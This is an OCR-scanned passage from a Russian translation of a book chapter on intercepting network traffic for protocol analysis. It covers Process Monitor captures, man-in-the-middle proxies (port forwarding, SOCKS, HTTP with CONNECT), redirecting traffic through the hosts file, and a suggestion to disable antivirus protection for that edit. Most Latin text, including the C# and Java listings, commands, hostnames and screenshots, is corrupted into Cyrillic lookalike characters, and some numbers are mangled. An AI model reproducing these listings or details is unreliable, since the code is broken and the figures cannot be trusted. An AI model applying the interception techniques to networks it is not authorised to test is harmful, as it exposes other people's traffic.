12:26: 18: зусһозі ехе 1992 ООР Весеме опух:65454 -> доодіерибіс-іпз-а.доосје сот:ботап Ѕ0ССЕЅ5 епо: 77. зедпит: 0. соппіа: 0 
12:26:.. С еуепу ехе 18088 ТСР Овсоппес! опух:37776 -> опух:49154 50ССЕЅ5 1епоћ: 0. зедпит: 0. соппій: 0 
12:26:.. С) іеуепу.ехе 18088 А ТСР Оізсоппесі опух:37777 -> опух:49154 Ѕ0ССЕЅ5 епо: 0. зедпит: 0. соппіа: 0 
12:26:.. 18: ѕусһозі ехе 1992 ООР Ѕепа с0а8:а6а:300:0:3071:93а:82е7#:62005 -> 808:808:557:7261:7070:6572:2.. Ѕ0ССЕЅ5 епо: 45, зедпит: 0, соппіа: 0 
12:26:.. 18: зусһозі ехе 1992 А 00Р Ѕепа с0а8:а6а:300:0:3071:93а:82е7#:57688 -> 808:808:557:7261:7070:6572:2.. Ѕ0ССЕЅ5 епоіћ: 43. зедпит: 0, соппіа: 0 м 
< > 

Зпомипд 48 01 38,016 еуепіёѕ (0.12%) Васке Бу миа! ппетогу 


Рис. 2.5. Пример работы Ргосеѕѕ Мопіїог 


При выборе фильтра, обведенного нарис. 2.5, отображаются только 
события, относящиеся к сетевым подключениям из контролируемо- 
го процесса. Подробная информация включает в себя задействован- 
ные хосты, а также используемый протокол и порт. Хотя перехват не 
предоставляет никаких данных, связанных с подключениями, он дает 
ценную информацию о передаче данных по сети. Ргосеѕѕ Мопіїог так- 
же может перехватывать состояние текущего стека вызовов, что по- 
могает определить, где в приложении выполняются сетевые подклю- 
чения. Эта тема станет важной в главе 6, когда мы займемся обратной 
разработкой двоичных файлов для работы с сетевым протоколом. На 
рис. 2.6 подробно показано отдельное НТТР-соединение с удаленным 
сервером. 


| Еле Еде Еуепе Еіҝег Тооіѕ Оріопз Нар 
БЫ 851 Ае Ы | Аи (0) 7 
З) рей @) 


ФЕХРІОНЕ ЕХЕ № ТСР Соппеі опухһоте:3103 -> 2.22.133.163һір Іепоіһ: 0. тз: 1412. заскори: 1. іѕорі: 0, мзорі: 1. гсуміп: 66364. гсуміпзсаіе: 2. зпфийпзса(е: 1, зедпит: 0, 


|пехРІОНЕ ЕХЕ ТСР Ѕепі опухћоте:3103 -> 2.22.133.163р 1епав: 133, Чайте: 65221, епфёте: 65221, зедпит: 0, соппій: 0 
|[СЕхРІОНЕ ЕХЕ ФТСР Несеме опухһоте:3103 -> 222.133.163Н р 1епон: 2297, зедпит: 0. сопла: 0 

|ЕЕХРИОВЕЕХЕ ФТСР Весеме опухһоте:3103-> 222.133.163Н р 1епоН: 0, зедпит: 0. соппЯ: 0 

|[СЕхРІОНЕ ЕХЕ ФТСР Оізсоппесі опухНоте:3103 > 222 133. 163+ёр 1епоН: 0, зедпит: 0. соппЯ: 0 


Рис. 2.6. Отдельное перехваченное соединение 


В столбце ® показано имя процесса, установившего соединение. 
В столбце Ө приведена операция, в данном случае подключение 
к удаленному серверу, отправка первоначального НТТР-запроса и по- 
лучение ответа. Столбец Ө указывает адреса отправителя и получате- 
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ля, а столбец ® предоставляет более подробную информацию о пере- 
хваченном событии. 

Хотя это решение не так полезно, как мониторинг системных вы- 
зовов на других платформах, оно все же может помочь при работе 
в Міпаомѕ, когда вы просто хотите определить сетевые протоколы, 
используемые конкретным приложением. С помощью этого метода 
нельзя собирать данные, но, определив используемые протоколы, вы 
можете добавить эту информацию в свой анализ с помощью более 
активного захвата сетевого трафика. 


Преимущества и недостатки пассивного 
перехвата 


Самое большое преимущество пассивного перехвата состоит в том, 
что он не нарушает обмен данными между клиентскими и сервер- 
ными приложениями. Он не изменяет адрес отправителя или полу- 
чателя трафика и не требует каких-либо изменений либо повторной 
конфигурации приложений. 

Пассивный перехват также может быть единственным методом, 
который можно использовать, когда у вас нет прямого контроля над 
клиентом или сервером. Обычно можно найти способ слушать сете- 
вой трафик и перехватывать его с ограниченными усилиями. После 
того как вы соберете данные, можно определить, какие активные 
методы перехвата использовать и как лучше всего атаковать сеть на 
уровне протокола, который вы хотите проанализировать. 

Один из основных недостатков пассивного перехвата сетевого тра- 
фика состоит в том, что методы перехвата, такие как анализ пакетов, 
работают на таком низком уровне, что может быть трудно интерпре- 
тировать то, что получило приложение. Такие инструменты, как МЙге- 
ѕһагк, безусловно, помогают, но если вы анализируете пользователь- 
ский протокол, то, возможно, не сможете с легкостью разбить его на 
части, не взаимодействуя с ним напрямую. 

Пассивный перехват также не всегда позволяет изменить трафик, 
производимый приложением. Изменение трафика не всегда необ- 
ходимо, но оно полезно, когда вы сталкиваетесь с зашифрованными 
протоколами, хотите отключить сжатие или вам нужно изменить тра- 
фик для эксплуатации уязвимостей. 

Когда анализ трафика и внедрение новых пакетов не дает резуль- 
татов, смените тактику и попробуйте использовать методы активного 
перехвата. 


Активный перехват сетевого трафика 


Активный перехват отличается от пассивного тем, что вы пытаетесь 
повлиять на поток трафика, используя атаку «человек посередине». 
Как показано на рис. 2.7, устройство, перехватывающее трафик, обыч- 
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но находится между клиентским и серверным приложениями, высту- 
пая в роли моста. Данный подход имеет ряд преимуществ, в том числе 
возможность изменять трафик и отключать такие функции, как шиф- 
рование или сжатие, что может упростить анализ трафика и эксплуа- 
тацию уязвимостей. 


Клиентское Прокси-сервер для осуществления атаки Серверное 
приложение «человек посередине» приложение 


Рис. 2.7. Прокси-сервер типа «человек посередине» 


Недостаток такого подхода состоит в том, что обычно он сложнее, 
потому что вам нужно перенаправлять трафик приложения через си- 
стему активного перехвата. АКТИВНЫЙ перехват также может иметь 
непредвиденные нежелательные последствия. Например, если вы 
измените сетевой адрес сервера или клиента на прокси, то это мо- 
жет привести к путанице, в результате чего приложение будет ОТт= 
правлять трафик не туда, куда нужно. Несмотря на эти проблемы, 
активный перехват, вероятно, является наиболее ценным методом 
анализа и эксплуатации уязвимостей сетевых протоколов приклад- 
ного уровня. 


Сетевые прокси 


Наиболее распространенный способ атаки «человек посередине» – 
заставить приложение обмениваться данными через прокси-службу. 

В этом разделе я объясню относительные преимущества и недо- 
статки некоторых распространенных типов прокси, которые можно 
использовать для перехвата трафика, анализа этих данных и сетевого 
протокола. Я также покажу, как получить трафик из типичных кли- 
ентских приложений для прокси-сервера. 


Прокси-сервер с переадресацией портов 


Переадресация портов - это самый простой способ проксирования со- 
единения. Просто настройте слушающий сервер (ТСР или ОПР) и до- 
ждитесь нового соединения. Когда это соединение будет установлено 
с прокси-сервером, откроется соединение переадресации с реальной 
службой, и они будут логически подключены, как показано нарис. 2.8. 


Простая реализация 


Чтобы создать наш прокси-сервер, мы будем использовать встроен- 
ный инструмент для переадресации портов ТСР, входящий в состав 
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библиотек Сапаре Соге. Поместите код из листинга 2.4 в файл сцена- 
рия на языке С#, изменив Г ОСАЕРОВТ Ө, ВЕМОТЕНОЅТ Ө и ВЕМОТЕРОВТ Ө на 
соответствующие значения для вашей сети. 


ТСР ТСР-клиент ТСР 


Клиентское Прокси-сервер для переадресации портов ТСР Серверное 


приложение 


приложение 


Рис. 2.8. Обзор прокси-сервера с переадресацией портов ТСР 


РогіЕогтаѓ 
Ргоху.сѕх 


Листинг 2.4. Простой пример прокси-сервера с переадресацией портов ТСР 


[/ РогЕЕогтаРгоху.сѕх - простой прокси-сервер с переадресацией портов ТСР 
// Предоставляем доступ к таким методам, как Мгіїеііпе и МгіёеРаскеїѕ 
иѕіпд {ас ЅуѕЁет. Сопѕо1е; 

45119 Сас САМАРЕ. СІЯ. Сопѕо1еу+115; 


// Создаем шаблон прокси-сервера 

уаг Ёетр1аёе = пем иРАхедРгохуТетр\а*е(); © 
етр1аёе.оса1Рогі = ӨГОСАГРОВТ; 
етр1аёе.Ноѕї = ®"АЕМОТЕНО$Т" ; 
етр1аёе.Рогі = ӨРЕМОТЕРОВТ; 


// Создаем экземпляр прокси и выполняем запуск 
үаг Ѕегуісе = ёетр1аїе.Сгеаќе(); 
ѕегуісе.ЅЁагї(); 


Игіёеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгібеііпе("Ргеѕѕ Епфег Ёо ехі+..."); 
Веайііпе(); 

ѕегуісе.5 ор(); 


[/ Запись пакетов в консоль 

уаг раскеїѕ = ѕегуісе.РаскеЁѕ; 

Мгіёеііпе("Сарёџгеа {0} расКе{з:", 
раскеЁѕ .Соџпї); 

МгіёеРаскеѕ (раскеЁѕ); 


Этот очень простой сценарий создает экземпляр ЕАхеаРгохуТетр- 
Тае ө. Сапаре Соге работает по шаблонной модели, хотя при необхо- 
димости можно работать с низкоуровневой конфигурацией сети. Сце- 
нарий настраивает шаблон, используя нужную информацию о локаль- 
ной и удаленной сетях. Шаблон используется для создания экземпляра 
службы Ө; можно рассматривать документы из этого фреймворка как 
шаблоны служб. Затем запускается вновь созданная служба; на дан- 
ном этапе сетевые подключения настроены. Дождавшись нажатия 
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клавиши, служба останавливается Ө. Затем все перехваченные паке- 
ты записываются в консоль с помощью метода АгіёеРаскеіѕ() ө. 

Запуск этого сценария должен связать экземпляр нашего прок- 
си-сервера с номером [ОСАЕРОВТ только для интерфейса локального 
хоста. Когда с этим портом осуществляется новое ТСР-соединение, 
прокси-код должен установить новое соединение с ВЕМОТЕНО$Т с ТСР- 
портом ВЕМОТЕРОВТ и связать оба соединения. 


ШР 8 Привязка прокси ко всем сетевым адресам может 
быть рискованной с точки зрения безопасности, поскольку прокси, на- 


писанные для протоколов тестирования, редко реализуют надежные 
механизмы безопасности. Если у вас нет полного контроля над сетью, 
к которой вы подключены, или у вас нет выбора, привяжите прок- 
си только к интерфейсу локального хоста. В листинге 2.4 значение по 
умолчанию ~ [ОСАЕНОЗТ; для привязки ко всем интерфейсам задайте для 
свойства АпуВіпа значение гие. 


Перенаправление трафика на прокси 


Теперь, когда наше простое приложение готово, нужно направить че- 
рез него наш трафик. 

В случае с веб-браузером это достаточно просто: чтобы перехва- 
тить конкретный запрос, вместо ОВІ-адреса вида ИНр//Лмуии/аота/т. 
сот/геѕошсе используйте йіір://Лоса!ћоѕі:Іоса[рогі/теѕоигсе, который 
отправляет запрос через ваш прокси-сервер с переадресацией пор- 
ТОВ. 

Другие приложения сложнее: возможно, вам придется покопать- 
ся в настройках конфигурации. Иногда единственная настройка, ко- 
торую приложение позволяет изменить, - это ІР-адрес назначения. 
Однако это может привести к возникновению сценария «курица 
и яйцо», когда вы не знаете, какие порты ТСР или ОШР приложение 
может использовать с этим адресом, особенно если оно содержит 
сложные функции, выполняемые через различные служебные соеди- 
нения. Подобное происходит с протоколами ВРС, такими как Соттоп 
ОБесе Ведиеѕї ВгоКег Атсһіѓесіџге (СОВВА). Данный протокол обычно 
устанавливает начальное сетевое соединение с брокером, который 
действует как каталог доступных служб. Затем выполняется второе 
соединение с запрошенной службой через ТСР-порт конкретного эк- 
земпляра. 

В таком случае будет полезно использовать как можно больше 
сетевых функций приложения, отслеживая его с помощью методов 
пассивного перехвата. Так, вы должны выявить соединения, обычно 
устанавливаемые приложением, которые затем можно легко репли- 
цировать с помощью прокси-серверов для проброса портов. 

Если приложение не поддерживает изменение адреса назначения, 
необходимо действовать немного креативнее. Если приложение раз- 
решает адрес назначения через имя хоста, то возможностей больше. 
Можно настроить собственный О№5-сервер, который отвечает на за- 
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просы имени ІР-адресом вашего прокси, или использовать файл 10515, 
который доступен в большинстве операционных систем, включая 
ҮГіпаомѕ, при условии что у вас есть контроль над системными фай- 
лами на устройстве, на котором запущено приложение. 

Во время разрешения имени хоста ОС (или соответствующая биб- 
лиотека) сначала обращается к файлу 1055, чтобы увидеть, есть ли ка- 
кие-либо локальные записи для этого имени, выполняя О№5-запрос, 
только если запись не найдена. Например, файл ћоѕїѕ из листинга 2.5 
перенаправляет имена хостов м/м/и’.Байеет.сот и илии.аотат.сот на 
Іосаїћоѕі. 


Листинг 2.5. Пример файла һоѕїѕ 


# Стандартные адреса Госа1ћоѕі 
127.0.0.1 1оса1ћоѕі 
21 1оса1ћоѕі 


# Ниже приведены фиктивные записи для перенаправления трафика через прокси 
127.0.0.1 ммм .Баддег$ . сот 
127.0.0.1 ммм . доматп. сот 


Стандартное расположение файла 1055 в Опіх-подобных ОС - 
это каталог /еѓс/ћоѕіѕ, тогда как в Міпаомѕ это САИЙЛпаом/5\буяет52\ 
"гіуег5\еіс\ћоѕі5. Очевидно, что при необходимости нужно будет заме- 
нить путь к папке Міпӣоуѕ для своего окружения. 


Некоторые антивирусные продукты и программы для 
обеспечения информационной безопасности отслеживают изменения 
в хостах системы, поскольку данные изменения являются признаком 
вредоносного ПО. Возможно, вам потребуется отключить защиту про- 
дукта, если вы хотите изменить файл ћоѕї5. 


Преимущества прокси-сервера с переадресацией портов 


Основным преимуществом прокси-сервера с переадресацией портов 
является его простота: вы ждете соединения, открываете новое под- 
ключение к исходному месту назначения, а затем передаете трафик 
туда и обратно между ними. Не существует протокола, связанного 
с прокси-сервером, и приложение, из которого вы пытаетесь пере- 
хватить трафик, не требует специальной поддержки. 

Прокси-сервер с переадресацией портов также является основным 
способом проксирования ОРрР-трафика; поскольку он не ориентиро- 
ван на установление соединения, реализация инструмента для пере- 
адресации в случае с протоколом ОРР значительно проще. 


Недостатки прокси-сервера с переадресацией портов 


Конечно, помимо простоты, у такого прокси-сервера есть и свои не- 
достатки. Поскольку вы только перенаправляете трафик от слушаю- 
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щего соединения к одному адресу назначения, потребуется несколько 
экземпляров прокси, если приложение использует несколько прото- 
колов на разных портах. 

Например, рассмотрим приложение с одним именем хоста или ІР- 
адресом назначения, которым вы можете управлять напрямую, из- 
менив его в конфигурации приложения, либо путем подмены имени 
хоста. Затем приложение пытается подключиться к ТСР-портам 445 
и 1254. Поскольку вы можете управлять адресом, к которому оно под- 
ключается, а не портами, вам необходимо настроить прокси-серверы 
для обоих, даже если вас интересует только трафик, проходящий че- 
рез порт 1234. 

Такой прокси-сервер также может затруднить обработку несколь- 
ких подключений к известному порту. Например, если прокси-сервер 
с переадресацией портов слушает порт 1234 и устанавливает соедине- 
ние с портом 1234 имлу.дотат.сот, только перенаправленный трафик 
для исходного домена будет работать должным образом. Если вы хо- 
тите перенаправить и илии.Байвегз.сот, то здесь все сложнее. Можно 
сгладить ситуацию, если приложение поддерживает указание адреса 
назначения и порта или с помощью других методов, таких как преоб- 
разование сетевых адресов назначения (ОМАТ), для перенаправления 
определенных соединений на уникальные прокси-серверы переадре- 
сации. (Глава 5 содержит более подробную информацию о ОМАТ, атак- 
же о многих других более продвинутых методах перехвата.) 

Кроме того, протокол может использовать адрес назначения в сво- 
их целях. Например, заголовок Ноѕї в протоколе передачи гипертекс- 
та (НТТР) может использоваться для решений виртуального хоста, 
что может заставить протокол работать иначе или не работать вовсе 
из перенаправленного соединения. Тем не менее, по крайней мере 
для НТТР, я рассмотрю обходной путь для этого ограничения в разде- 
ле «Обратный НТТР-прокси-сервер». 


Прокси-сервер $ОСК$ 


Рассматривайте прокси-сервер 5ОСК$ как прокси-сервер для про- 
броса портов на стероидах. Он не только пересылает ТСР-соединения 
в нужное сетевое расположение, но и все новые соединения начи- 
наются с простого протокола рукопожатия, который информирует 
прокси-сервер об окончательном назначении, а не фиксирует его. Он 
также может поддерживать слушающие соединения, что важно для 
таких протоколов, как ЕТР, которые должны открывать новые локаль- 
ные порты для сервера для отправки данных. На рис. 2.9 представлен 
обзор прокси-сервера $ОСК$. 

В настоящее время используются три распространенных вариан- 
та протокола: ЗОСК$ 4, 4а и 5, и у каждого из них свое применение. 
ЅОСК 4 – наиболее часто поддерживаемая версия протокола; однако 
она поддерживает только соединения [Р\У4, а адрес назначения дол- 
жен быть указан как 32-битный ІР-адрес. Обновление этой версии, 
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4а, допускает соединения по имени хоста (это полезно, если у вас нет 
О№ -сервера, который может разрешать ІР-адреса). В версии 5 была 
добавлена поддержка имени хоста, ІРуб, ООР-переадресация и улуч- 
шенные механизмы аутентификации; также это единственный вари- 
ант, указанный в ВЕС (1928). 


Сервер 
үүүү.аӢотаіп.сот 


ТСР-клиент 
на ммм. дота!т.сот 


Прокси-сервер 50СКЅ Слушатель ТСР 
с ууууугбаддегѕ.сот 


Клиентское 
приложение 


Сервер 
үууууубаадегѕ.сот 


Рис. 2.9. Обзор прокси-сервера 50СК5 


Например, клиент отправляет запрос, показанный нарис. 2.10, что- 
бы установить соединение по протоколу $0СК с ІР-адресом 10.0.0.1 
на порту 12545. Компонент У5ЕВМАМЕ – единственный метод аутенти- 
фикации в $ОСК$ версии 4 (не особо безопасный, я знаю). МЕА пред- 
ставляет собой номер версии, в данном случае - 4. СМО указывает, что 
хочет подключиться (привязка к адресу СМО 2), а порт и адрес ТСР ука- 
зываются в двоичной форме. 


УЕА СМО ТСР-ПОРТ ТР-АДРЕС ИМЯ ПОЛЬЗОВАТЕЛЯ М 
09х04 | 0х01 12345 0х10000001 "јамеѕ" 90х00 
1 2 


Размер в октетах 1 4 ПЕРЕМЕННАЯ 1 


Рис. 2.10. Запрос 5ОСК$ версии 4 


Если соединение установлено успешно, то будет отправлен соот- 
ветствующий ответ, как показано на рис. 2.11. Поле ВЕЗР указывает 
на статус ответа; поля ТСР рогї и аййгеѕѕ важны только для запросов 


привязки. 
УЕА КЕЅР ТСР -ПОРТ ТР-АДРЕС 
90х04 | 0х5А 0 0 
Размер в октетах 1 1 2 4 


Рис. 2.11. Успешный ответ $ОСК$ версии 4 
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ЅосКѕРгоху.сѕх 


Соединение становится прозрачным, и клиент и сервер общаются 
друг с другом напрямую; прокси-сервер действует только для пере- 
сылки трафика. 


Простая реализация 


Библиотеки Сапаре Соге имеют встроенную поддержку $50СК 4, 4а 
и 5. Поместите листинг 2.6 в файл сценария С#, изменив ОСАІРОВТ Ө 
на локальный ТСР-порт, который вы хотите слушать. 


Листинг 2.6. Простой пример прокси-сервера 50СК5 


// ЅоскѕРгоху.сѕх - простой прокси-сервер 50СКЅ 

1] Предоставляем доступ к таким методам, как Игіёеііпе и МгіёеРаскеёѕ 
иѕіпд бас 5уѕЁет. Сопѕо1е; 

иѕіпд ѕёаёіс САМАРЕ. С. Сопѕо1еу+і1; 


// Создаем шаблон прокси-сервера 50СК5 
уаг Ќетр1аёе = пем ЅоскѕРгохуТетр1аїе(); 
етр1аёе.оса1Рогі = Ө/ГОСАГРОВТ; 


// Создаем экземпляр прокси и выполняем запуск 
уаг ѕегуісе = Ёетр1аќе.Сгеаїе(); 
ѕегуісе.ЅЁагї(); 

Мгібеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгіёеііпе("Ргеѕѕ Епёег фо ехі+..."); 
Веааііпе(); 

ѕегуісе.5#ор(); 


[/ Запись пакетов в консоль 

үаг раскеЁѕ = ѕегуісе.Раскеѕ; 

Мгісеііпе("Сарёџгеа {0} раскеЁѕ:", 
раскеёѕ. Сошпї); 

МгіёеРаскеїѕ(раскеѕ); 


Листинг 2.6 следует тому же шаблону, который вы видели в листин- 
ге 2.4. Однако в данном случае код Ө создает шаблон прокси-сервера 
ЅОСКЗ. Остальной код точно такой же. 


Перенаправление трафика на прокси 


Чтобы определить способ передачи сетевого трафика приложения че- 
рез прокси-сервер $ОСК$, сначала заглянем в приложение. Например, 
когда вы открываете настройки прокси в Мох Ша Еігеѓох, появляется 
диалоговое окно, показанное на рис. 2.12. Там вы можете настроить 
Еігеѓох для использования прокси-сервера $ОСК$. 

Но иногда поддержка ЗОСК$ не сразу очевидна. При тестирова- 
нии ]ауа-приложения ]ауа Кипите принимает параметры команд- 
ной строки, которые активируют поддержку $ОСК$ для любого ис- 
ходящего ТСР-соединения. Например, рассмотрим очень простое 
приложение ]ауа из листинга 2.7, которое подключается к ІР-адресу 
192.168.10.1 на порту 5555. 
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СоппесНоп 5е 95 х 


СопйЯдиге Ргохіеѕ їо Ассеѕѕ #ће Іпќегпеї 
№ ргоху 
Ашо-детесЕ ргоху зе таз їог їћіѕ пебмогк 
зе ѕуѕїет ргоху зе пд$ 

Ф Мапиа! ргоху сопйдигаНоп: 


НТТР Ргоху: Рогі: 8080 |; 


зе {95 ргоху ѕегуег Фог а! ргоїосоіѕ 


551 Ргоху: Рогї: 3128 |; 
ЕТР Ргоху: | Рог: 3128 = 
ЅОСКЅ НозЕ | Іосаћоѕ? Рог: 1080 = 


$ОСК$ уд (Ф) $ОСК$ у5 
М№о Ргоху Юг 
юсаоз+, 127.0.0.1 


Ехатріе: .то2111а.огд, .пеї.пг, 192.168.1.0/24 


Аитотайс ргоху сопйдигаНоп ЦВЕ: 


о пої рготрї їог аџїћепіїісаїоп № раѕѕмога 15 заме4 


м | Ргоху О№ мпеп изтд ЅОСКЅ 5 


ОК Сапсе! Нер 


Рис. 2.12. Конфигурация прокси-сервера в Еігејох 


Листинг 2.7. Простой ТСР-клиент на Лауа 


ЅоскеіСііепї.јауа [| ЅоскеС1іепї. јама - простой Јама ТСР зосКее клиент 
1троге јама.іо.РгіпЁМгіёег; 
ітрог& јама.пеЁ.Ѕоскеї; 


рус с1аѕѕ ЅоскеЁС1іепё { 
рус зас уоіа маіп(Ѕёгіпо[] агд$) { 

гу { 
боскеЁ $ = пем Ѕоскеі("192.168.10.1", 5555); 
РгіпЁМгіёег ои = пем РгіпЕйгібег(5ѕ.деЕ0иёриёЅёгеат(), Ёгие); 
ои .ргіпЕп("Не1Ло Мог14!"); 
ѕ.с1оѕе(); 

} саёсһ(Ехсерїіоп е) { 

} 


Когда вы запускаете эту скомпилированную программу в обычном 
режиме, она будет работать так, как вы и ожидали. Но если в команд- 
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ной строке вы передаете два специальных системных свойства, 50сКѕ- 
РгохуНоѕЕ и зосК$РгохуРогЕ, то можно указать прокси-сервер $ОСКЅ 
для любого ТСР-соединения: 


јауа -Оѕоск5РгохуНоѕ=1оса1һћоѕ -ОзосК$РгохуРог{=1080 Зоскеес\ТепЕ 


Так вы установите ТСР-соединение через прокси-сервер ЗОСК$ на 
порту локального хоста 1080. 

Еще одно место, где можно определить, как передать сетевой тра- 
фик приложения через прокси-сервер 5ОСК$, – это прокси-сервер 
ОС по умолчанию. В тасО$ перейдите в Ѕуѕїет Ргеѓегепсеѕ > М№еї- 
мгогК > Адуапсеа -› Ргохіеѕ. Появится диалоговое окно, показанное 
на рис. 2.13. Отсюда можно настроить общесистемный прокси-сер- 
вер $ОСК$ или универсальные прокси для других протоколов. Это не 
всегда работает, но это простой вариант, который стоит попробовать. 


® Мемогк 


С м-н 
№і-Еі ТСРЛР 0№  \МММ$ 8021х ДЕ нагамаге 
Зеес+{ а рго{осо! їо сопЯдиге: ЗОСК$ Ргоху Ѕегмег 
Ао Ргоху Г/зсоуегу Іосаіћоѕї : 1080 


Ашотайс Ргоху Сопїідигаїіоп 


Ргоху ѕегуег гедиігеѕ раз$\мога 
Мер Ргоху (НТТР) 


Ѕесиге Мер Ргоху (НТТР) Џѕегпате: 
ҒТР Ргоху М Р 
$0СК$ Ргоху аз$\м/ога: 


З4геатта Ргоху (ВТ$Р) 
СорНег Ргоху 


Ехсіџае ѕітріе һоѕіпатеѕ 


Вураѕѕ ргоху зе паз ѓог {Незе Ноѕїѕ & Сотаіпѕ: 
* Іосаі, 169.254/16 


Оѕе Раѕѕіуе ЕТР Моде (РА$\) 


? Сапсе! ок 


Рис. 2.13. Диалоговое окно настройки прокси в тас05 


Кроме того, если приложение просто не поддерживает прокси-сер- 
вер 5ОСК$ из коробки, то определенные инструменты добавят эту 
функцию в произвольные приложения. Это могут быть бесплатные ин- 
струменты с открытым исходным кодом, такие как Ваще (ИНру./Дмиии. 
іпеѓ.по/аапіе) в пих, и коммерческие инструменты, такие как РгохШег 
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(ВНр$ /Лммиииргохегсот/), который работает в Міпаоуѕ и тасО$. Так или 
иначе, все они внедряются в приложение, чтобы добавить поддержку 
ЗОСК$ и изменить работу функций сокета. 


Преимущества прокси-сервера $0СК$ 


Явное преимущество использования прокси-сервера $ОСК$ по срав- 
нению с использованием простого инструмента для проброса пор- 
тов состоит в том, что он должен перехватывать все ТСР-соединения 
(и, возможно, некоторые ОРрР-соединения, если вы используете 
ЅОСК версии 5), устанавливаемые приложением. Это можно считать 
преимуществом до тех пор, пока уровень сокетов ОС является обер- 
нутым, чтобы эффективно передавать все соединения через прокси. 

Прокси-сервер ЗОСК$ также обычно сохраняет адрес назначения 
соединения с точки зрения клиентского приложения. Следовательно, 
если клиентское приложение отправляет внутриполосные данные, 
которые относятся к его конечной точке, то конечная точка будет та- 
кой, как ожидает сервер. Однако исходный адрес при этом не сохра- 
няется. Некоторые протоколы, такие как ЕТР, предполагают, что могут 
запрашивать открытие портов на исходном клиенте. Протокол 50СКЅ 
предоставляет возможность привязки слушающих соединений, но 
усложняет реализацию. Это усложняет перехват и анализ, поскольку 
вы должны учитывать множество различных потоков данных, посту- 
пающих на сервер и исходящих из него. 


Недостатки прокси-сервера $О0СК$ 


Главный недостаток $0СК в том, что поддержка между приложения- 
ми и платформами может быть непоследовательной. Системный 
прокси Міпаомѕ поддерживает только прокси 5ОСК$ версии 4, а это 
означает, что он будет разрешать лишь локальные имена хостов. Он 
не поддерживает 1ІРуб и не имеет надежного механизма аутентифи- 
кации. Как правило, можно получить более качественную поддержку, 
используя инструмент $ОСК$ для добавления в существующее прило- 
жение, но это не всегда работает хорошо. 


Прокси-серверы НТТР 


Протокол НТТР обеспечивает работу Всемирной паутины, а также 
множества веб-сервисов и протоколов ВЕЗТЁ|. На рис. 2.14 пред- 
ставлен обзор прокси-сервера НТТР. Данный протокол также можно 
использовать в качестве транспортного механизма для не веб-про- 
токолов, таких как Вето{е Мешо4 Іпуосайоп (ВМП) от Јауа, или про- 
токола обмена сообщениями в реальном времени (ВТМР), поскольку 
он может осуществлять туннелирование даже при наличии самых 
ограничительных межсетевых экранов. Важно понимать, как НТТР- 
проксирование работает на практике, потому что оно почти навер- 
няка будет полезно для анализа протокола, даже если веб-сервис не 
тестируется. Существующие инструменты тестирования веб-прило- 
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жений редко работают идеально, когда протокол НТТР используется 
вне его оригинального окружения. Иногда развёртывание собствен- 
ной реализации НТТР-прокси - единственное решение. 


Сервер 
ум аотат.сот 


НТТР-клиент 
на үүүүүү.дотаіп.сот 


Туннелированный 
НТТР5-трафик 
на уммммбаддегэ.сот 


Клиентское 
приложение 


Прокси-сервер НТТР 


Сервер 
ул баддеге.сот 


Рис. 2.14. Обзор прокси-сервера НТТР 


Есть два основных типа прокси-сервера НТТР - это прокси-сервер 
с переадресацией и обратный прокси-сервер. У каждого из них есть 
свои преимущества и недостатки для перспективного анализатора 
сетевых протоколов. 


Перенаправление НТТР-прокси 


Протокол НТТР определён в ВЕС 1945 для версии 1.0 и ВЕС 2616 для 
версии 1.1; обе версии предоставляют простой механизм для прокси- 
рования НТТР-запросов. Например, НТТР 1.1 указывает, что первая 
полная строка запроса имеет следующий формат: 


ӨСЕТ Ө/ітаде. јр НТТР/1.1 


Метод Ө указывает, что делать в этом запросе, используя знакомые 
глаголы, такие как СЕТ, РОЗТ и НЕАО. В запросе прокси-сервера это не от- 
личается от обычного НТТР-соединения. Путь Ө для запроса прокси. 
Как показано, абсолютный путь указывает ресурс, на который метод 
будет воздействовать. Важно отметить, что путь также может быть аб- 
солютным унифицированным идентификатором запроса (ОКІ). Ука- 
зав абсолютный ОВТ, прокси-сервер может установить новое соедине- 
ние с адресом назначения, перенаправляя весь трафик и возвращая 
данные клиенту. Прокси-сервер может даже ограниченно управлять 
трафиком, чтобы добавить аутентификацию, скрыть серверы версии 
1.0 от клиентов 1.1 и добавить сжатие передачи, помимо прочего. Од- 
нако за такую гибкость приходится платить: прокси-сервер должен 
иметь возможность обрабатывать НТТР-трафик, что значительно 
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усложняет работу. Например, следующая строка запроса обращается 
к ресурсу изображения на удаленном сервере через прокси: 


СЕТ ВЁЁр: / /ммм. ботап. сот/ітаде. јрд НТТР/1.1 


Вы, внимательный читатель, возможно, определили проблему 
в этом подходе. Поскольку прокси-сервер должен иметь доступ к ба- 
зовому протоколу НТТР, то что насчет НТТР$, расширения протоко- 
ла НТТР, который передает данные поверх криптографических про- 
токолов Т15? Вы можете взломать зашифрованный трафик; однако 
вобычном окружении маловероятно, что НТТР-клиент будет доверять 
сертификату, который вы предоставили. Кроме того, ТІ.5 специально 
был разработан для того, чтобы сделать практически невозможным 
использование атаки типа «человек посередине» каким-либо другим 
способом. К счастью, это было ожидаемо, и ВЕС 2817 предлагает два 
решения: он включает возможность обновления НТТР-соединения 
до шифрования (здесь нет необходимости приводить подробности), 
и, что более важно для наших целей, он определяет НТТР-метод СОМ№- 
МЕСТ для создания прозрачных туннелированных соединений через 
НТТР-прокси. Например, веб-браузер, который хочет установить 
прокси-соединение с НТТР5$-сайтом, может отправить прокси-серве- 
ру следующий запрос: 


СОММЕСТ ммм. дота\п.сот:443 НТТР/1.1 


Если прокси примет этот запрос, то он установит новое ТСР-соеди- 
нение с сервером. В случае успеха он должен вернуть следующий от- 
вет: 


НТТР/1.1 200 Соппес{\оп ЕѕёаБ1іѕһед 


ТСР-соединение с прокси-сервером теперь становится прозрач- 
ным, и браузер может установить согласованное ТІ.5-соединение без 
вмешательства прокси. Конечно, стоит отметить, что прокси-сервер 
вряд ли станет проверять, действительно ли в этом соединении ис- 
пользуется ТІ5. Это может быть любой протокол, который вам нра- 
вится, и некоторые приложения злоупотребляют этим фактом для 
туннелирования собственных двоичных протоколов через НТТР- 
прокси. По этой причине часто встречаются развертывания НТТР- 
прокси, ограничивающие порты, которые можно туннелировать для 
очень ограниченного подмножества. 


Простая реализация 


И снова библиотеки Сапаре Соге, которые содержат простую реали- 
зацию прокси-сервера НТТР. К сожалению, они не поддерживают ме- 
тод СОММЕСТ для создания прозрачного туннеля, но для демонстрации 
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и этого будет достаточно. Поместите листинг 2.8 в файл сценария 
С#, изменив ІОСАІРОВТ Ө на локальный ТСР-порт, который вы хотите 
слушать. 


Листинг 2.8. Пример простого прокси-сервера НТТР 

